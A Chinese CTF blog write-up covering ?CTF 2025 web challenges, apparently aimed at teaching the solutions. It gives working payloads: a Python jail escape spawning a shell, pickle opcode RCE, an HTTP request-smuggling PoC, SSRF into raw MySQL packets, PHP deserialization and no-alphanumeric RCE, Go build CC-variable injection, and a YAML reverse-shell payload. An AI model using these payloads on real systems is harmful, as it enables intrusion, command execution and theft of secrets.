?CTF 2025 Web Writeup - 文章封面

?CTF 2025 Web Writeup

(2025-10-09T00:00:00.000Z)
Nick Chen

文章摘要

Summarizing...

?CTF partial

[Pyjail] [Week4] 《关于我穿越到CTF的异世界这档事:终》

idea from jailCTF2025 primal https://jia.je/ctf-writeups/misc/pyjail/jailctf-2025-primal.html and https://shirajuki.js.org/blog/pyjail-cheatsheet/

测试用以下脚本

import re
def prime_check(n: int) -> bool:
	if n < 2:
		return False
	for i in range(2, n):
		if n % i == 0:
			return False
	return True
def repl():
	global_namespace = {'__builtins__': {}}

	while True:
		try:
			code = input('>>> ')
			ALLOWED = "abcdefghij0klmnopqrstuvwxyz:_.[]()<,='"
			filtered = ''.join(ch for ch in code if ch in ALLOWED)
			print(f'Code: {filtered}')
			if len(filtered) > 150:
				print('过长!')
			if not filtered.isascii():
				print('包含非ASCII字符!')
			if "eta" in filtered:
				print('包含敏感词!')
			if filtered.count("(") > 3:
				print('包含过多括号!')
			for m in re.finditer(r"\w+", filtered):
				if not prime_check(len(m.group(0))):
					print(f'WAF: {m} - err len {len(m.group(0))}')
			try:
				result = eval(filtered, global_namespace)
			except SyntaxError:
				exec(filtered, global_namespace)
			else:
				print('result:', result)
		except EOFError:
			break
		except Exception as e:
			print(f"Error: {e}")

repl()

payload:

# 我最开始卡在
[].__reduce_ex__('000'.__len__())[00].__globals__['__built''ins__']['he''lp']()

# 我的解
[aa:='aa'<'bb', [].__reduce_ex__(aa<<aa)[00].__globals__['__built''ins__']
['__impor''t__']('pty').spawn('sh')]

# 预期解是这个:
[bi:=00==000,ci:=bi<<bi,[].__reduce_ex__(ci)[00].__globals__['__built''ins__']
['__imp''ort__']('pdb').run('asd')]

[Week4] 布豪有黑客(四)

这道题做了防AI,本质是时间盲注,我们要用的只有判断的条件和时间。把数据处理成这样:

!! UNICODE(6) = ??

[2025-10-01 13:43:24]
[2025-10-01 13:43:24]
[2025-10-01 13:43:24]
 >= 79

[2025-10-01 13:43:24]
[2025-10-01 13:43:26]
[2025-10-01 13:43:26]
 >= 55

[2025-10-01 13:43:26]
[2025-10-01 13:43:27]
[2025-10-01 13:43:27]
 >= 67

[2025-10-01 13:43:27]
[2025-10-01 13:43:27]
[2025-10-01 13:43:27]
 >= 61

[2025-10-01 13:43:27]
[2025-10-01 13:43:27]
[2025-10-01 13:43:27]
 >= 58

[2025-10-01 13:43:27]
[2025-10-01 13:43:29]
[2025-10-01 13:43:29]
 >= 56

[2025-10-01 13:43:29]
[2025-10-01 13:43:29]
[2025-10-01 13:43:29]
 >= 57

处理后就可以用AI:

decode_unicode.py

跑一遍,flag不对,但是很有人样了,使用最好的数据处理工具—眼睛,过一遍源码,发现第15位和25位ascii得减10。手动操作一下就过了,逆天题不想做第二遍。

[Pickle 反序列化] 这又又是什么函数

from flask import Flask, request, render_template
import pickle import base64
app = Flask(__name__)
PICKLE_BLACKLIST = [ b'eval', b'os', b'x80', b'before', b'after', ]
@app.route('/', methods=['GET', 'POST'])
def index():
  return render_template('index.html')
@app.route('/src', methods=['GET', 'POST'])
def src():
  return open(__file__, encoding="utf-8").read()
@app.route('/deser', methods=['GET', 'POST'])
def deser():
  a = request.form.get('a')
  if not a:
    return "fail"
  try:
    decoded_data = base64.b64decode(a)
    print(decoded_data)
  except:
    return "fail"
  for forbidden in PICKLE_BLACKLIST:
    if forbidden in decoded_data:
      return "waf"
  try:
    result = pickle.loads(decoded_data)
    return "done"
  except:
    return "fail"
if __name__ == '__main__':
  app.run(host='0.0.0.0', port=5000) 
  • pickle解析依靠Pickle Virtual Machine (PVM)进行。
  • PVM涉及到三个部分:1. 解析引擎 2. 栈 3. 内存:
  • 解析引擎:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 停止。最终留在栈顶的值将被作为反序列化对象返回。
  • 栈:由Python的list实现,被用来临时存储数据、参数以及对象。
  • 内存:由Python的dict实现,为PVM的生命周期提供存储。说人话:将反序列化完成的数据以 key-value 的形式储存在memo中,以便后来使用。

手写 opcode

opcode描述具体写法栈上的变化memo上的变化
c获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包)c[module]\n[instance]\n获得的对象入栈
o寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)o这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)i[module]\n[callable]\n这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N实例化一个NoneN获得的对象入栈
S实例化一个字符串对象S’xxx’\n(也可以使用双引号、‘等python字符串形式)获得的对象入栈
V实例化一个UNICODE字符串对象Vxxx\n获得的对象入栈
I实例化一个int对象Ixxx\n获得的对象入栈
F实例化一个float对象Fx.x\n获得的对象入栈
R选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数R函数和参数出栈,函数的返回值入栈
.程序结束,栈顶的一个元素作为pickle.loads()的返回值.
(向栈中压入一个MARK标记(MARK标记入栈
t寻找栈中的上一个MARK,并组合之间的数据为元组tMARK标记以及被组合的数据出栈,获得的对象入栈
)向栈中直接压入一个空元组)空元组入栈
l寻找栈中的上一个MARK,并组合之间的数据为列表lMARK标记以及被组合的数据出栈,获得的对象入栈
]向栈中直接压入一个空列表]空列表入栈
d寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对)dMARK标记以及被组合的数据出栈,获得的对象入栈
}向栈中直接压入一个空字典}空字典入栈
p将栈顶对象储存至memo_npn\n对象被储存
g将memo_n的对象压栈gn\n对象被压栈
0丢弃栈顶对象0栈顶对象被丢弃
b使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置b栈上第一个元素出栈
s将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中s第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中uMARK标记以及被组合的数据出栈,字典被更新
a将栈的第一个元素append到第二个元素(列表)中a栈顶元素出栈,第二个元素(列表)被更新
e寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中eMARK标记以及被组合的数据出栈,列表被更新

flask题能不弹shell就别弹,这里我选择写/static,拿到eval/exec后就可以选择打内存马或者直接rce了,选择很多

opcode = b'''cbuiltins
exec
(S'__import__(\'o\'\'s\').system(\'mkdir static&&cat /flag>static/a\')'
tR.'''
opcode = b'''cbuiltins
getattr
(c__main__
__builtins__
S'e\\x76al'
tR(S'__import__(\'o\'\'s\').system(\'mkdir static&&cat /flag>static/a\')'
tR.'''
opcode = b'''cbuiltins
getattr
(cbuiltins
list
S'clear'
tR(c__main__
PICKLE_BLACKLIST
tR.'''
opcode = b'''cos
system
(S'mkdir static&&cat /flag>static/b'
tR.'''

[POST RCE]来 get shell,速度

最无聊的一道题

s.xz

把一句话打包成xz绕过mime检测,连蚁剑。

收集信息,很明显和sudo有关,环境的sudo修改日期最新,结合/etc/sudoers错误配置

sudo -h asd.asd.asd cat /flag

[模块源码审阅]好像什么都能读

还算有意思,最主要是要发现他的提示“算什么”,和明锐观察到抓包异相。发现flask 处于debug模式,搜索发现pin码计算可复现https://www.cnblogs.com/m1xian/p/18528813

结合这玩意,但是最终还是要下载requirements里面指定的版本去翻源码,复制过来填空最稳。

不想做第二遍,就这样。

[WIP][Week4] waf?waf!

次新次热的话题,外网火了四五年了,很容易找到内容

https://portswigger.net/web-security/request-smuggling

拓展:

https://portswigger.net/research/top-10-web-hacking-techniques-of-2019-nominations-open#:~:text=Abusing%20HTTP%20hop%2Dby%2Dhop%20request%20headers

https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers

这道题自己实现了一个代理服务器,特征

  • 在多个相同cl或te表头存在时,取最后一个(与后端uvicorn一致)
  • 优先采取tl识别请求(与后端uvicorn不一致)

我们就利用这个不一致的点,让我们的一个请求被前后端服务器解释为两个不同的含义。poc如下:

import socket
import time

PROXY_HOST = 'challenge.ilovectf.cn'
PROXY_PORT = 30433

def send_and_recv_sequence():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((PROXY_HOST, PROXY_PORT))

    req1_headers = (
        "POST /calc HTTP/1.1\r\n"
        "Content-length: 51\r\n"
        "Transfer-Encoding: chunked\r\n"
        "Transfer-encoding: cow\r\n"
        "Content-Type: application/x-www-form-urlencoded;charset=utf-8\r\n"
        "\r\n"
        "0\r\n"
        "&calc=__import__('os').popen('cat /flag').read()\r\n"
    )
    s.sendall(req1_headers.encode())

    try:
        data = b""
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            data += chunk
    except Exception as e:
        # 超时或连接结束
        pass
    print("=== Raw response from proxy/backend ===")
    print(data.decode(errors='replace'))
    s.close()

if __name__ == '__main__':
    send_and_recv_sequence()

[Week4] android or apple

审阅代码,发现头部可控,检测了waf关键词但未拦截,很容易SSRF,

扫一下内网服务,发现经典3306端口有一个MySQL服务

import requests

url_base = "http://challenge.ilovectf.cn:30624/"
def attackMySQL(payload):
  res_data = requests.get(url_base + "verify.php", headers={
      'X-Verify-Code-Url': f'iwantflag://127.0.0.1:3306/{payload}'
    }).text
  link = res_data[res_data.find('</p><img src="./images/')+len('</p><img src="./images/')-1:res_data.find('" alt="Verification')]
  bin_data = requests.get(f'{url_base}images/{link}').content
  return bin_data

print(attackMySQL(r"%27%00%00%01O%B7%00%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00root%00%00%00%2C%00%00%00%03select%20group_concat%28flag%29%20from%20ctf_db.flags%00%00%00%00"))

审阅代码,发现protocol不为http时,代理采用了一种类似于Gopher协议的方式发包,只是去掉了path前的_,在网上学习一下MySQL的tcp传输协议,很容易找到现成的payload生成器。

gen.py

SQL提取数据过程

//src
00:13:14 ❯ D:\Python27\python2.exe .\gen.py -u root -d '' -P 'select database()'                                                                   
        
Payload:
      %27%00%00%01O%B7%00%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00root%00%00%00%12%00%00%00%03select%20database%28%29%00%00%00%00

//src
00:13:25 ❯ python .\scan.py                                                                                                                        
b'[\x00\x00\x00\n5.7.42-0ubuntu0.18.04.1\x00\x0e\x00\x00\x00\x14rX\x02\x01\x1e5^\x00\xff\xff\x08\x02\x00\xff\xc1\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x000\ru\x15r(Y(\x15G._\x00mysql_native_password\x00\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x01\x01 \x00\x00\x02\x03def\x00\x00\x00\ndatabase()\x00\x0c!\x00f\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x05\x00\x00\x03\xfe\x00\x00\x02\x00\x01\x00\x00\x04\xfb\x05\x00\x00\x05\xfe\x00\x00\x02\x00\x07\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00'

//src
00:13:37 ❯ D:\Python27\python2.exe .\gen.py -u root -d '' -P "select group_concat(table_name) from information_schema.tables where table_schema='ctf_db'"  

Payload:
      %27%00%00%01O%B7%00%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00root%00%00%00%5B%00%00%00%03select%20group_concat%28table_name%29%20from%20information_schema.tables%20where%20table_schema%3D%27ctf_db%27%00%00%00%00

//src
00:16:51 ❯ python .\scan.py                                                                                                                        
b'[\x00\x00\x00\n5.7.42-0ubuntu0.18.04.1\x00\x0f\x00\x00\x00*%Up\x08\x01`l\x00\xff\xff\x08\x02\x00\xff\xc1\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00)\x17\'w`\x1en!\x11\x0b#p\x00mysql_native_password\x00\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x01\x01.\x00\x00\x02\x03def\x00\x00\x00\x18group_concat(table_name)\x00\x0c!\x00\xff\x03\x00\x00\xfd\x00\x00\x00\x00\x00\x05\x00\x00\x03\xfe\x00\x00"\x00\x06\x00\x00\x04\x05flags\x05\x00\x00\x05\xfe\x00\x00"\x00\x07\x00\x00\x01\x00\x00\x00"\x00\x00\x00'

//src
00:17:01 ❯ D:\Python27\python2.exe .\gen.py -u root -d '' -P "select group_concat(column_name) from information_schema.columns where table_name='flags'"   

Payload:
      %27%00%00%01O%B7%00%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00root%00%00%00Z%00%00%00%03select%20group_concat%28column_name%29%20from%20information_schema.columns%20where%20table_name%3D%27flags%27%00%00%00%00

//src
00:17:49 ❯ python .\scan.py                                                                                                                        
b'[\x00\x00\x00\n5.7.42-0ubuntu0.18.04.1\x00\x10\x00\x00\x00\'{R[=]]]\x00\xff\xff\x08\x02\x00\xff\xc1\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00%BgIHah9l\x171\x03\x00mysql_native_password\x00\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x01\x01/\x00\x00\x02\x03def\x00\x00\x00\x19group_concat(column_name)\x00\x0c!\x00\xff\x03\x00\x00\xfd\x00\x00\x00\x00\x00\x05\x00\x00\x03\xfe\x00\x00"\x00\x05\x00\x00\x04\x04flag\x05\x00\x00\x05\xfe\x00\x00"\x00\x07\x00\x00\x01\x00\x00\x00"\x00\x00\x00'

//src
00:18:05 ❯ D:\Python27\python2.exe .\gen.py -u root -d '' -P "select group_concat(flag) from ctf_db.flags"                                         
     
Payload:
      %27%00%00%01O%B7%00%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00root%00%00%00%2C%00%00%00%03select%20group_concat%28flag%29%20from%20ctf_db.flags%00%00%00%00

//src
00:18:51 ❯ python .\scan.py                                                                                                                        
b'[\x00\x00\x00\n5.7.42-0ubuntu0.18.04.1\x00\x11\x00\x00\x00\x1d\x1by`x~i5\x00\xff\xff\x08\x02\x00\xff\xc1\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06 >\x0e2\x1dr\x18;BQ>\x00mysql_native_password\x00\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x01\x01(\x00\x00\x02\x03def\x00\x00\x00\x12group_concat(flag)\x00\x0c!\x00\x00\x0c\x00\x00\xfc\x00\x00\x00\x00\x00\x05\x00\x00\x03\xfe\x00\x00"\x00,\x00\x00\x04+flag{761cca35-07cb-4372-bc2b-c7d62a2b8e12}}\x05\x00\x00\x05\xfe\x00\x00"\x00\x07\x00\x00\x01\x00\x00\x00"\x00\x00\x00'

[PHP反序列化] Path to Hero

签到题来的,简简单单绕

<?php
Class Start
{
    public $ishero;
    public $adventure;
    public function __construct($ishero, $adventure){
        $this->ishero = $ishero;
        $this->adventure = $adventure;
    }
    public function __wakeup(){

        if (strpos($this->ishero, "hero") !== false && $this->ishero !== "hero") {
            echo "<br>勇者啊,去寻找利刃吧<br>";

            return $this->adventure->sword;
        }
        else{
            echo "前方的区域以后再来探索吧!<br>";
        }
    }
}

class Sword
{
    public $test1;
    public $test2;
    public $go;
    function __construct($test1, $test2, $go){
        $this->test1 = $test1;
        $this->test2 = $test2;
        $this->go = $go;
    }
    public function __get($name)
    {
        if ($this->test1 !== $this->test2 && md5($this->test1) == md5($this->test2)) {
            echo "沉睡的利刃被你唤醒了,是时候去讨伐魔王了!<br>";
            echo $this->go;
        } else {
            echo "Dead";
        }
    }
}

class Mon3tr
{
    private $result;
    public $end;
    function __construct($result, $end){
        $this->result = $result;
        $this->end = $end;
    }
    public function __toString()
    {
        $result = new Treasure();
        echo "到此为止了!魔王<br>";

        if (!preg_match("/^cat|flag|tac|system|ls|head|tail|more|less|nl|sort|find?/i", $this->end)) {
            $result->end($this->end);
        } else {
            echo "难道……要输了吗?<br>";
        }
        return "<br>";
    }
}

class Treasure
{
    public function __call($name, $arg)
    {
        echo "结束了?<br>";
        eval($arg[0]);
    }
}

$treasure = new Treasure();
$mon3tr = new Mon3tr($treasure, "print_r(file_get_contents('/fl'.'ag'));");
$sword = new Sword(240610708, 314282422, $mon3tr);
$start = new Start("herowantflag", $sword);

//unserialize(serialize($start));
echo "\n";
echo urlencode(serialize($start));

[Week1] secret of php

基础要牢,week1最值得做的一道题

https://www.runoob.com/php/php-intval-function.html

https://hello-ctf.com/hc-web/php_basic/#md5

1. 0x7e9、2025.12025a
http://challenge.ilovectf.cn:30673/Flll4g.php?aa[]=&bb=
&aaa=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00b%87%24%8E%A1%E8H%B3y%BF%93%B8U%D2%F0e%1Bih%D3%5CD%2A%0B%FF%21%83%FA%AF-4%CF4%9B%F1%EF%5D%0D%3D%C1%EBE%3A%3B%E8U%7C%3Dm%89%DB%11%B7%BFkr%84.%01h%C0%C3%96%DFr%A5%CF%B4%08%F9%8D%E6a3%22%05%A5%C8%8Be%0F2%A7%96F%0CC%DB%1E%C5%B7f%D0%E6t%EE%E9n%B6G%2A%9B9%A8%FAK%B9i%82%94%E1%FC%F3%A0%5D%B3%7F%C2%23I%FE%9F%C9d%84%B2%F1%03
&bbb=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00b%87%24%8E%A1%E8H%B3y%BF%93%B8U%D2%F0e%1BihS%5CD%2A%0B%FF%21%83%FA%AF-4%CF4%9B%F1%EF%5D%0D%3D%C1%EBE%3A%3B%E8%D5%7C%3Dm%89%DB%11%B7%BFkr%84.%01%E8%C0%C3%96%DFr%A5%CF%B4%08%F9%8D%E6a3%22%05%A5%C8%8Be%0F2%A7%16F%0CC%DB%1E%C5%B7f%D0%E6t%EE%E9n%B6G%2A%9B9%A8%FAK%B9i%82%14%E1%FC%F3%A0%5D%B3%7F%C2%23I%FE%9F%C9%E4%84%B2%F1%03&aaa=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00b%87%24%8E%A1%E8H%B3y%BF%93%B8U%D2%F0e%1Bih%D3%5CD%2A%0B%FF%21%83%FA%AF-4%CF4%9B%F1%EF%5D%0D%3D%C1%EBE%3A%3B%E8U%7C%3Dm%89%DB%11%B7%BFkr%84.%01h%C0%C3%96%DFr%A5%CF%B4%08%F9%8D%E6a3%22%05%A5%C8%8Be%0F2%A7%96F%0CC%DB%1E%C5%B7f%D0%E6t%EE%E9n%B6G%2A%9B9%A8%FAK%B9i%82%94%E1%FC%F3%A0%5D%B3%7F%C2%23I%FE%9F%C9d%84%B2%F1%03&bbb=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00b%87%24%8E%A1%E8H%B3y%BF%93%B8U%D2%F0e%1BihS%5CD%2A%0B%FF%21%83%FA%AF-4%CF4%9B%F1%EF%5D%0D%3D%C1%EBE%3A%3B%E8%D5%7C%3Dm%89%DB%11%B7%BFkr%84.%01%E8%C0%C3%96%DFr%A5%CF%B4%08%F9%8D%E6a3%22%05%A5%C8%8Be%0F2%A7%16F%0CC%DB%1E%C5%B7f%D0%E6t%EE%E9n%B6G%2A%9B9%A8%FAK%B9i%82%14%E1%FC%F3%A0%5D%B3%7F%C2%23I%FE%9F%C9%E4%84%B2%F1%03

[Python原型链污染] 这是什么函数

from flask import Flask,request,render_template
import json

app = Flask(__name__)

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

def is_json(data):
    try:
        json.loads(data)
        return True
    except ValueError:
        return False

class cls():
    def __init__(self):
        pass

instance = cls()

cat = "where is the flag?"
dog = "how to get the flag?"
@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template('index.html')

@app.route('/flag', methods=['GET', 'POST'])
def flag():
    with open('/flag','r') as f:
        flag = f.read().strip()
    if cat == dog:
        return flag 
    else:
        return cat + " " + dog
@app.route('/src', methods=['GET', 'POST'])
def src():
    return open(__file__, encoding="utf-8").read()

@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
    if request.is_json:
        merge(json.loads(request.data),instance)
    else:
        return "fail"
    return "success"

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=5000)

/pollute 路由递归地将用户输入merge到cls实例instance中。

/flag 做一些检验

绕过检验

{
	'__init__':{
	    '__globals__':{
	        'cat': 'how to get the flag?'
	    }
	}
}

访问/flag成功拿到flag;也可以污染file=”/flag”,访问/src拿到flag。

[Week3] VIP

我恨啊

image.png

image.png

{
"code": "package main\nimport \"C\"\n\nfunc main() {}",
"env": {
"CGO_ENABLED": "1",
"GOOS": "linux",
"CC": "/bin/sh -c 'find / -type f -perm /4000 2>/dev/null > /tmp/build/s.txt; gcc \"$@\"' gcc-shim"
}
}
{
"code": "package main\nimport (_ \"embed\"; \"os\")\n\n"#go:embed s.txt\nvar f []byte\n\nfunc main() { os.Stdout.Write(f) }",
"env": {
"CGO_ENABLED": "1",
"GOOS": "linux"
}
}

image.png

{
"code": "package main\nimport \"C\"\n\nfunc main() {}",
"env": {
"CGO_ENABLED": "1",
"GOOS": "linux",
"CC": "/bin/sh -c '/usr/local/bin/flagread /flag.txt > /tmp/build/flag.txt; gcc \"$@\"' gcc-shim"
}
}
{
"code": "package main\nimport (_ \"embed\"; \"os\")\n\n"#go:embed flag.txt\nvar f []byte\n\nfunc main() { os.Stdout.Write(f) }",
"env": {
"CGO_ENABLED": "1",
"GOOS": "linux"
}
}

[Week3] EZPHP

  1. 非法传参,_ 换成 [ ,空格, +?& 进行 urlencode
  2. 无字母数字RCE
?a=$_=~%88%97%90%9E%92%96;echo%20`$_`;
  1. 取反剩下四字符操作空间
>cat
* >a

[Week3]MySQL管理工具

  1. jwtcrack爆破出密钥,传username为admin的token
  2. 伪造mysql服务端,收集信息发现用户目录的app.py https://github.com/allyshka/Rogue-MySql-Server
  3. 然后打一个yaml的反弹shell
payload = """
!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "import socket,subprocess;ooo=__import__('o''s');s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('',2333));ooo.dup2(s.fileno(),0); ooo.dup2(s.fileno(),1); ooo.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"
"""

asalin: 所以就建议打内存马 或者把rce结果写到/tmp下面mysql读取

asalin: mysql还可以udf提权 适用于本地存在mysql的情况 可以去学习一下

[Week4]EZ_Ref

你好

评论

0 条
请先 登录 后发表评论。